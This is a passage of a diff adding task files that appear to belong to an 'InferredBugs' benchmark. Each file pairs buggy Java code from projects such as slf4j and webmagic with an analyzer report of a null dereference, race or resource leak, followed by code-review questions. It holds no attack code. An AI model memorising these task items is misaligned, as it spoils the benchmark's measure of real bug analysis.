+		assertEquals(0.0, vehicleRoute.getStart().getEndTime(),0.05);
+		assertEquals(vehicleRoute.getVehicle().getLocationId(), vehicleRoute.getStart().getLocationId());
+		assertEquals(vehicleRoute.getVehicle().getEarliestDeparture(), vehicleRoute.getStart().getTheoreticalEarliestOperationStartTime(),0.05);
+		assertEquals(vehicleRoute.getVehicle().getLatestArrival(), vehicleRoute.getStart().getTheoreticalLatestOperationStartTime(),0.05);
+		
+	}
+	
+	@Test
+	public void testStatesOfAct1(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateFactory.COSTS).toDouble(),0.05);
+		assertEquals(5.0, states.getActivityState(tour.getActivities().get(0), StateFactory.LOAD).toDouble(),0.05);
+//		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateTypes.EARLIEST_OPERATION_START_TIME).toDouble(),0.05);
+		assertEquals(20.0, states.getActivityState(tour.getActivities().get(0), StateFactory.LATEST_OPERATION_START_TIME).toDouble(),0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct2(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		
+		assertEquals(30.0, states.getActivityState(tour.getActivities().get(1), StateFactory.COSTS).toDouble(),0.05);
+		assertEquals(10.0, states.getActivityState(tour.getActivities().get(1), StateFactory.LOAD).toDouble(),0.05);
+//		assertEquals(10.0, states.getActivityState(tour.getActivities().get(0), StateTypes.EARLIEST_OPERATION_START_TIME).toDouble(),0.05);
+		assertEquals(40.0, states.getActivityState(tour.getActivities().get(1), StateFactory.LATEST_OPERATION_START_TIME).toDouble(),0.05);
+	}
+	
+	@Test
+	public void testStatesOfAct3(){
+		states.informInsertionStarts(Arrays.asList(vehicleRoute), null);
+		assertEquals(40.0, states.getRouteState(vehicleRoute, StateFactory.COSTS).toDouble(), 0.05);
+		assertEquals(40.0, vehicleRoute.getEnd().getArrTime(),0.05);
+		assertEquals(50.0, vehicleRoute.getEnd().getTheoreticalLatestOperationStartTime(),0.05);
+	}
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `TestTourStateUpdaterWithService.states.getActivityState(TestTourStateUpdaterWithService.tour.getActivities().get(1),jsprit.core.problem.solution.route.state.StateFactory.LOAD)` could be null and is dereferenced at line 156.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestTourStateUpdaterWithService.testStatesOfAct2()
+
+### Procedure Id:
+jsprit.core.algorithm.state.TestTourStateUpdaterWithService.testStatesOfAct2():void.357b8782a2fddea3021c52d9704bba14
+
+### File:
+jsprit-core/src/test/java/jsprit/core/algorithm/state/TestTourStateUpdaterWithService.java
+
+### Key:
+TestTourStateUpdaterWithService.java|testStatesOfAct2|NULL_DEREFERENCE
+
+### Node Key:
+86355c455675c8e3e76f525cc1a52808
+
+### Hash:
+e576dd8f015f045bdff9f23cbec527e4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5361/instruction.md b/inferredbugs-5361/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f7c47634ac780638c85102c3da5f39ab459f7c31
--- /dev/null
+++ b/inferredbugs-5361/instruction.md
@@ -0,0 +1,217 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** slf4j
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2004-2005 SLF4J.ORG
+ * Copyright (c) 2004-2005 QOS.ch
+ *
+ * All rights reserved.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to  deal in  the Software without  restriction, including
+ * without limitation  the rights to  use, copy, modify,  merge, publish,
+ * distribute, and/or sell copies of  the Software, and to permit persons
+ * to whom  the Software is furnished  to do so, provided  that the above
+ * copyright notice(s) and this permission notice appear in all copies of
+ * the  Software and  that both  the above  copyright notice(s)  and this
+ * permission notice appear in supporting documentation.
+ *
+ * THE  SOFTWARE IS  PROVIDED  "AS  IS", WITHOUT  WARRANTY  OF ANY  KIND,
+ * EXPRESS OR  IMPLIED, INCLUDING  BUT NOT LIMITED  TO THE  WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR  A PARTICULAR PURPOSE AND NONINFRINGEMENT
+ * OF  THIRD PARTY  RIGHTS. IN  NO EVENT  SHALL THE  COPYRIGHT  HOLDER OR
+ * HOLDERS  INCLUDED IN  THIS  NOTICE BE  LIABLE  FOR ANY  CLAIM, OR  ANY
+ * SPECIAL INDIRECT  OR CONSEQUENTIAL DAMAGES, OR  ANY DAMAGES WHATSOEVER
+ * RESULTING FROM LOSS  OF USE, DATA OR PROFITS, WHETHER  IN AN ACTION OF
+ * CONTRACT, NEGLIGENCE  OR OTHER TORTIOUS  ACTION, ARISING OUT OF  OR IN
+ * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ * Except as  contained in  this notice, the  name of a  copyright holder
+ * shall not be used in advertising or otherwise to promote the sale, use
+ * or other dealings in this Software without prior written authorization
+ * of the copyright holder.
+ *
+ */
+
+package org.slf4j.impl;
+
+import org.slf4j.IMarkerFactory;
+import org.slf4j.Marker;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Vector;
+
+
+/**
+ * An almost trivial implementation of the {@link Marker} interface. 
+ *
+ * <p><code>BasicMarker</code> lets users specify marker
+ * information. However, it does not offer any useful operations on
+ * that information. 
+ *
+ * <p>Simple logging systems which ignore marker data, just return
+ * instances of this class in order to conform to the SLF4J API.
+ *
+ * @author Ceki G&uuml;lc&uuml;
+ */
+public class BasicMarker implements Marker {
+  final String name;
+  List children;
+  final IMarkerFactory factory;
+  
+  BasicMarker(String name, IMarkerFactory factory) {
+    this.name = name;
+    this.factory = factory;
+  }
+
+  public String getName() {
+    return name;
+  }
+
+  public synchronized void add(Marker child) {
+    if (child == null) {
+      throw new NullPointerException(
+        "Null children cannot be added to a Marker.");
+    }
+    if (children == null) {
+      children = new Vector();
+    }
+    children.add(child);
+  }
+
+  public synchronized boolean hasChildren() {
+    return ((children != null) && (children.size() > 0));
+  }
+
+  public synchronized Iterator iterator() {
+    if (children != null) {
+      return children.iterator();
+    } else {
+      return Collections.EMPTY_LIST.iterator();
+    }
+  }
+
+  public synchronized boolean remove(Marker markerToRemove) {
+    if (children == null) {
+      return false;
+    }
+
+    int size = children.size();
+    for (int i = 0; i < size; i++) {
+      Marker m = (Marker) children.get(i);
+      if( m == markerToRemove) {
+          return false;
+      }
+    }
+    // could not find markerToRemove
+    return false;
+  }
+  
+  public boolean contains(Marker other) {
+    if(other == null) {
+      throw new IllegalArgumentException("Other cannot be null");
+    }
+    
+    if(this == other) {
+      return true;
+    }
+    
+    if (hasChildren()) {
+      for(int i = 0; i < children.size(); i++) {
+        Marker child = (Marker) children.get(i);
+        if(child.contains(other)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+  public boolean contains(String name) {
+    if(name == null) {
+      return false;
+    }
+    if(factory.exists(name)) {
+      Marker other = factory.getMarker(name);
+      return contains(other);     
+    } else {
+      return false;
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.slf4j.impl.BasicMarker.contains` indirectly reads without synchronization from `this.org.slf4j.impl.BasicMarker.children`. Potentially races with write in method `BasicMarker.add(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean BasicMarker.contains(String)
+
+### Procedure Id:
+org.slf4j.impl.BasicMarker.contains(java.lang.String):boolean.79ea2e62667ac914414c00dcaae99f74
+
+### File:
+slf4j-api/src/main/java/org/slf4j/impl/BasicMarker.java
+
+### Key:
+BasicMarker.java|contains|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bbbb6b2e6c34e16ab4a06a88f63fd45c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5395/instruction.md b/inferredbugs-5395/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..732942e6b898d654aac3c01b02ac3584dc6cfe49
--- /dev/null
+++ b/inferredbugs-5395/instruction.md
@@ -0,0 +1,319 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-boot-starter-batch-web
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2018 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package de.codecentric.batch.jsr352;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.Semaphore;
+
+import javax.batch.operations.BatchRuntimeException;
+import javax.batch.operations.JobSecurityException;
+import javax.batch.operations.JobStartException;
+import javax.batch.operations.NoSuchJobExecutionException;
+
+import org.springframework.batch.core.BatchStatus;
+import org.springframework.batch.core.ExitStatus;
+import org.springframework.batch.core.Job;
+import org.springframework.batch.core.JobParameters;
+import org.springframework.batch.core.configuration.DuplicateJobException;
+import org.springframework.batch.core.converter.JobParametersConverter;
+import org.springframework.batch.core.explore.JobExplorer;
+import org.springframework.batch.core.job.AbstractJob;
+import org.springframework.batch.core.jsr.JsrJobContextFactoryBean;
+import org.springframework.batch.core.jsr.configuration.xml.JsrXmlApplicationContext;
+import org.springframework.batch.core.jsr.launch.JsrJobOperator;
+import org.springframework.batch.core.repository.JobRepository;
+import org.springframework.beans.BeansException;
+import org.springframework.beans.factory.BeanCreationException;
+import org.springframework.beans.factory.config.BeanDefinition;
+import org.springframework.beans.factory.support.AbstractBeanDefinition;
+import org.springframework.beans.factory.support.BeanDefinitionBuilder;
+import org.springframework.context.ApplicationContext;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.core.io.Resource;
+import org.springframework.core.task.TaskExecutor;
+import org.springframework.transaction.PlatformTransactionManager;
+import org.springframework.util.Assert;
+
+import de.codecentric.batch.listener.AddListenerToJobService;
+
+/**
+ * We cannot use Spring Batch's JsrJobOperator out of two reasons:
+ *
+ * <p>
+ * In the current implementation it's not possible to use an existing ApplicationContext as base context for the batch
+ * job contexts.<br>
+ * Second reason is that we want to add listeners automatically to the job for having features like log file separation
+ * and standard batch protocols.<br>
+ *
+ * That's why I patched it to add the functionality we need.
+ *
+ * @author Tobias Flohre
+ */
+public class CustomJsrJobOperator extends JsrJobOperator {
+
+	private static final String JSR_JOB_CONTEXT_BEAN_NAME = "jsr_jobContext";
+
+	private ApplicationContext parentContext;
+
+	private JobRepository jobRepository;
+
+	private TaskExecutor taskExecutor;
+
+	private JobParametersConverter jobParametersConverter;
+
+	private static ExecutingJobRegistry jobRegistry = new ExecutingJobRegistry();
+
+	private AddListenerToJobService addListenerToJobService;
+
+	public CustomJsrJobOperator(JobExplorer jobExplorer, JobRepository jobRepository,
+			JobParametersConverter jobParametersConverter, AddListenerToJobService addListenerToJobService,
+			PlatformTransactionManager transactionManager) {
+		super(jobExplorer, jobRepository, jobParametersConverter, transactionManager);
+		this.jobRepository = jobRepository;
+		this.jobParametersConverter = jobParametersConverter;
+		this.addListenerToJobService = addListenerToJobService;
+	}
+
+	@Override
+	public void setTaskExecutor(TaskExecutor taskExecutor) {
+		super.setTaskExecutor(taskExecutor);
+		this.taskExecutor = taskExecutor;
+	}
+
+	@Override
+	public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
+		this.parentContext = applicationContext;
+	}
+
+	@Override
+	public long start(String jobName, Properties params) throws JobStartException, JobSecurityException {
+		final JsrXmlApplicationContext batchContext = new JsrXmlApplicationContext(params);
+		batchContext.setValidating(false);
+
+		Resource batchXml = new ClassPathResource("/META-INF/batch.xml");
+		String jobConfigurationLocation = "/META-INF/batch-jobs/" + jobName + ".xml";
+		Resource jobXml = new ClassPathResource(jobConfigurationLocation);
+
+		if (batchXml.exists()) {
+			batchContext.load(batchXml);
+		}
+
+		if (jobXml.exists()) {
+			batchContext.load(jobXml);
+		}
+
+		AbstractBeanDefinition beanDefinition = BeanDefinitionBuilder
+				.genericBeanDefinition("org.springframework.batch.core.jsr.JsrJobContextFactoryBean")
+				.getBeanDefinition();
+		beanDefinition.setScope(BeanDefinition.SCOPE_SINGLETON);
+		batchContext.registerBeanDefinition(JSR_JOB_CONTEXT_BEAN_NAME, beanDefinition);
+
+		batchContext.setParent(parentContext);
+
+		try {
+			batchContext.refresh();
+		} catch (BeanCreationException e) {
+			throw new JobStartException(e);
+		}
+
+		Assert.notNull(jobName, "The job name must not be null.");
+
+		final org.springframework.batch.core.JobExecution jobExecution;
+
+		try {
+			JobParameters jobParameters = jobParametersConverter.getJobParameters(params);
+			String[] jobNames = batchContext.getBeanNamesForType(Job.class);
+
+			if (jobNames == null || jobNames.length <= 0) {
+				throw new BatchRuntimeException("No Job defined in current context");
+			}
+
+			org.springframework.batch.core.JobInstance jobInstance = jobRepository.createJobInstance(jobNames[0],
+					jobParameters);
+			jobExecution = jobRepository.createJobExecution(jobInstance, jobParameters, jobConfigurationLocation);
+		} catch (Exception e) {
+			throw new JobStartException(e);
+		}
+
+		try {
+			final Semaphore semaphore = new Semaphore(1);
+			final List<Exception> exceptionHolder = Collections.synchronizedList(new ArrayList<Exception>());
+			semaphore.acquire();
+
+			taskExecutor.execute(new Runnable() {
+
+				@Override
+				public void run() {
+					JsrJobContextFactoryBean factoryBean = null;
+					try {
+						factoryBean = (JsrJobContextFactoryBean) batchContext.getBean("&" + JSR_JOB_CONTEXT_BEAN_NAME);
+						factoryBean.setJobExecution(jobExecution);
+						final AbstractJob job = batchContext.getBean(AbstractJob.class);
+						addListenerToJobService.addListenerToJob(job);
+						semaphore.release();
+						// Initialization of the JobExecution for job level dependencies
+						jobRegistry.register(job, jobExecution);
+						job.execute(jobExecution);
+						jobRegistry.remove(jobExecution);
+					} catch (Exception e) {
+						exceptionHolder.add(e);
+					} finally {
+						if (factoryBean != null) {
+							factoryBean.close();
+						}
+
+						batchContext.close();
+
+						if (semaphore.availablePermits() == 0) {
+							semaphore.release();
+						}
+					}
+				}
+			});
+
+			semaphore.acquire();
+			if (exceptionHolder.size() > 0) {
+				semaphore.release();
+				throw new JobStartException(exceptionHolder.get(0));
+			}
+		} catch (Exception e) {
+			if (jobRegistry.exists(jobExecution.getId())) {
+				jobRegistry.remove(jobExecution);
+			}
+			jobExecution.upgradeStatus(BatchStatus.FAILED);
+			if (jobExecution.getExitStatus().equals(ExitStatus.UNKNOWN)) {
+				jobExecution.setExitStatus(ExitStatus.FAILED.addExitDescription(e));
+			}
+			jobRepository.update(jobExecution);
+
+			if (batchContext.isActive()) {
+				batchContext.close();
+			}
+
+			throw new JobStartException(e);
+		}
+		return jobExecution.getId();
+	}
+
+	private static class ExecutingJobRegistry {
+
+		private Map<Long, Job> registry = new ConcurrentHashMap<Long, Job>();
+
+		public void register(Job job, org.springframework.batch.core.JobExecution jobExecution)
+				throws DuplicateJobException {
+
+			if (registry.containsKey(jobExecution.getId())) {
+				throw new DuplicateJobException("This job execution has already been registered");
+			} else {
+				registry.put(jobExecution.getId(), job);
+			}
+		}
+
+		public void remove(org.springframework.batch.core.JobExecution jobExecution) {
+			if (!registry.containsKey(jobExecution.getId())) {
+				throw new NoSuchJobExecutionException("The job execution " + jobExecution.getId() + " was not found");
+			} else {
+				registry.remove(jobExecution.getId());
+			}
+		}
+
+		public boolean exists(long jobExecutionId) {
+			return registry.containsKey(jobExecutionId);
+		}
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.springframework.batch.core.jsr.configuration.xml.JsrXmlApplicationContext` acquired to `batchContext` by call to `new()` at line 108 is not released after line 207.
+**Note**: potential exception at line 195
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long CustomJsrJobOperator.start(String,Properties)
+
+### Procedure Id:
+de.codecentric.batch.jsr352.CustomJsrJobOperator.start(java.lang.String,java.util.Properties):long.3499162794bc52b020f099e2717fd2b9
+
+### File:
+batch-web-spring-boot-autoconfigure/src/main/java/de/codecentric/batch/jsr352/CustomJsrJobOperator.java
+
+### Key:
+CustomJsrJobOperator.java|start|RESOURCE_LEAK
+
+### Node Key:
+5e2ceab1efcbd7a46aa50a6fa11e88bd
+
+### Hash:
+01b05986b0fccfe1df6c909a0a270df0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5411/instruction.md b/inferredbugs-5411/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..33a5d8b30ed213aed540916f27790a08fb1a75d3
--- /dev/null
+++ b/inferredbugs-5411/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 34
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic.downloader;
+
+import com.google.common.collect.Sets;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.annotation.ThreadSafe;
+import org.apache.http.client.config.CookieSpecs;
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.RequestBuilder;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.util.EntityUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import us.codecraft.webmagic.Page;
+import us.codecraft.webmagic.Request;
+import us.codecraft.webmagic.Site;
+import us.codecraft.webmagic.Task;
+import us.codecraft.webmagic.selector.PlainText;
+import us.codecraft.webmagic.utils.UrlUtils;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+
+/**
+ * The http downloader based on HttpClient.
+ *
+ * @author code4crafter@gmail.com <br>
+ * @since 0.1.0
+ */
+@ThreadSafe
+public class HttpClientDownloader extends AbstractDownloader {
+
+    private Logger logger = LoggerFactory.getLogger(getClass());
+
+    private final Map<String, CloseableHttpClient> httpClients = new HashMap<String, CloseableHttpClient>();
+
+    private HttpClientGenerator httpClientGenerator = new HttpClientGenerator();
+
+    private CloseableHttpClient getHttpClient(Site site) {
+        if (site == null) {
+            return httpClientGenerator.getClient(null);
+        }
+        String domain = site.getDomain();
+        CloseableHttpClient httpClient = httpClients.get(domain);
+        if (httpClient == null) {
+            synchronized (this) {
+                httpClient = httpClients.get(domain);
+                if (httpClient == null) {
+                    httpClient = httpClientGenerator.getClient(site);
+                    httpClients.put(domain, httpClient);
+                }
+            }
+        }
+        return httpClient;
+    }
+
+    @Override
+    public Page download(Request request, Task task) {
+        Site site = null;
+        if (task != null) {
+            site = task.getSite();
+        }
+        Set<Integer> acceptStatCode;
+        String charset = null;
+        Map<String, String> headers = null;
+        if (site != null) {
+            acceptStatCode = site.getAcceptStatCode();
+            charset = site.getCharset();
+            headers = site.getHeaders();
+        } else {
+            acceptStatCode = Sets.newHashSet(200);
+        }
+        logger.info("downloading page {}" , request.getUrl());
+        RequestBuilder requestBuilder = RequestBuilder.get().setUri(request.getUrl());
+        if (headers != null) {
+            for (Map.Entry<String, String> headerEntry : headers.entrySet()) {
+                requestBuilder.addHeader(headerEntry.getKey(), headerEntry.getValue());
+            }
+        }
+        RequestConfig.Builder requestConfigBuilder = RequestConfig.custom()
+                .setConnectionRequestTimeout(site.getTimeOut())
+                .setSocketTimeout(site.getTimeOut())
+                .setConnectTimeout(site.getTimeOut())
+                .setCookieSpec(CookieSpecs.BEST_MATCH);
+        if (site != null && site.getHttpProxy() != null) {
+            requestConfigBuilder.setProxy(site.getHttpProxy());
+        }
+        requestBuilder.setConfig(requestConfigBuilder.build());
+        CloseableHttpResponse httpResponse = null;
+        try {
+            httpResponse = getHttpClient(site).execute(requestBuilder.build());
+            int statusCode = httpResponse.getStatusLine().getStatusCode();
+            if (acceptStatCode.contains(statusCode)) {
+                //charset
+                if (charset == null) {
+                    String value = httpResponse.getEntity().getContentType().getValue();
+                    charset = UrlUtils.getCharset(value);
+                }
+                return handleResponse(request, charset, httpResponse, task);
+            } else {
+                logger.warn("code error " + statusCode + "\t" + request.getUrl());
+                return null;
+            }
+        } catch (IOException e) {
+            logger.warn("download page " + request.getUrl() + " error", e);
+            if (site.getCycleRetryTimes() > 0) {
+                return addToCycleRetry(request, site);
+            }
+            return null;
+        } finally {
+            try {
+                if (httpResponse != null) {
+                    //ensure the connection is released back to pool
+                    EntityUtils.consume(httpResponse.getEntity());
+                }
+            } catch (IOException e) {
+                logger.warn("close response fail", e);
+            }
+        }
+    }
+
+    protected Page handleResponse(Request request, String charset, HttpResponse httpResponse, Task task) throws IOException {
+        String content = IOUtils.toString(httpResponse.getEntity().getContent(), charset);
+        Page page = new Page();
+        page.setRawText(content);
+        page.setUrl(new PlainText(request.getUrl()));
+        page.setRequest(request);
+        page.setStatusCode(httpResponse.getStatusLine().getStatusCode());
+        return page;
+    }
+
+    @Override
+    public void setThread(int thread) {
+        httpClientGenerator.setPoolSize(thread);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `site` last assigned on line 63 could be null and is dereferenced at line 85.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Page HttpClientDownloader.download(Request,Task)
+
+### Procedure Id:
+us.codecraft.webmagic.downloader.HttpClientDownloader.download(us.codecraft.webmagic.Request,us.code.2578caa67d7a5be8ed0f8ebfefcc1a61
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/downloader/HttpClientDownloader.java
+
+### Key:
+HttpClientDownloader.java|download|NULL_DEREFERENCE
+
+### Node Key:
+dff3d69ef5eaddd960b19d94e4bc5ca3
+
+### Hash:
+d49e1fb2c61716f67e66d3b4fb0b2f7b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5418/instruction.md b/inferredbugs-5418/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3e3fcb36aca3991679fd015ba8164b937ecd9d08
--- /dev/null
+++ b/inferredbugs-5418/instruction.md
@@ -0,0 +1,375 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.log4j.Logger;
+import us.codecraft.webmagic.downloader.Destroyable;
+import us.codecraft.webmagic.downloader.Downloader;
+import us.codecraft.webmagic.downloader.HttpClientDownloader;
+import us.codecraft.webmagic.pipeline.ConsolePipeline;
+import us.codecraft.webmagic.pipeline.Pipeline;
+import us.codecraft.webmagic.processor.PageProcessor;
+import us.codecraft.webmagic.schedular.QueueScheduler;
+import us.codecraft.webmagic.schedular.Scheduler;
+import us.codecraft.webmagic.utils.ThreadUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * <pre>
+ * webmagic爬虫的入口类。
+ *
+ * 示例：
+ * 定义一个最简单的爬虫：
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*")).run();
+ *
+ * 使用FilePipeline保存结果到文件:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .pipeline(new FilePipeline("/data/temp/webmagic/")).run();
+ *
+ * 使用FileCacheQueueScheduler缓存URL，关闭爬虫后下次自动从停止的页面继续抓取:
+ *      Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*blog/*"))
+ *          .scheduler(new FileCacheQueueScheduler("/data/temp/webmagic/cache/")).run();
+ * </pre>
+ *
+ * @author code4crafter@gmail.com <br>
+ *         Date: 13-4-21
+ *         Time: 上午6:53
+ */
+public class Spider implements Runnable, Task {
+
+    private Downloader downloader;
+
+    private List<Pipeline> pipelines = new ArrayList<Pipeline>();
+
+    private PageProcessor pageProcessor;
+
+    private List<String> startUrls;
+
+    private Site site;
+
+    private String uuid;
+
+    private Scheduler scheduler = new QueueScheduler();
+
+    private Logger logger = Logger.getLogger(getClass());
+
+    private ExecutorService executorService;
+
+    private AtomicInteger stat = new AtomicInteger(STAT_INIT);
+
+    private final static int STAT_INIT = 0;
+
+    private final static int STAT_RUNNING = 1;
+
+    private final static int STAT_STOPPED = 2;
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     */
+    public Spider(PageProcessor pageProcessor) {
+        this.pageProcessor = pageProcessor;
+        this.site = pageProcessor.getSite();
+        this.startUrls = pageProcessor.getSite().getStartUrls();
+    }
+
+    /**
+     * 使用已定义的抽取规则新建一个Spider。
+     *
+     * @param pageProcessor 已定义的抽取规则
+     * @return 新建的Spider
+     */
+    public static Spider create(PageProcessor pageProcessor) {
+        return new Spider(pageProcessor);
+    }
+
+    /**
+     * 重新设置startUrls，会覆盖Site本身的startUrls。
+     *
+     * @param startUrls
+     * @return this
+     */
+    public Spider startUrls(List<String> startUrls) {
+        checkIfNotRunning();
+        this.startUrls = startUrls;
+        return this;
+    }
+
+    /**
+     * 为爬虫设置一个唯一ID，用于标志任务，默认情况下使用domain作为uuid，对于单domain多任务的情况，请为重复任务设置不同的ID。
+     *
+     * @param uuid 唯一ID
+     * @return this
+     */
+    public Spider setUUID(String uuid) {
+        this.uuid = uuid;
+        return this;
+    }
+
+    /**
+     * 设置调度器。调度器用于保存待抓取URL，并可以进行去重、同步、持久化等工作。默认情况下使用内存中的阻塞队列进行调度。
+     *
+     * @param scheduler 调度器
+     * @return this
+     */
+    public Spider scheduler(Scheduler scheduler) {
+        checkIfNotRunning();
+        this.scheduler = scheduler;
+        return this;
+    }
+
+    /**
+     * 设置处理管道。处理管道用于最终抽取结果的后处理，例如：保存到文件、保存到数据库等。默认情况下会输出到控制台。
+     *
+     * @param pipeline 处理管道
+     * @return this
+     */
+    public Spider pipeline(Pipeline pipeline) {
+        checkIfNotRunning();
+        this.pipelines.add(pipeline);
+        return this;
+    }
+
+    public Spider downloader(Downloader downloader) {
+        checkIfNotRunning();
+        this.downloader = downloader;
+        return this;
+    }
+
+    protected void checkComponent() {
+        if (downloader == null) {
+            this.downloader = new HttpClientDownloader();
+        }
+    }
+
+    @Override
+    public void run() {
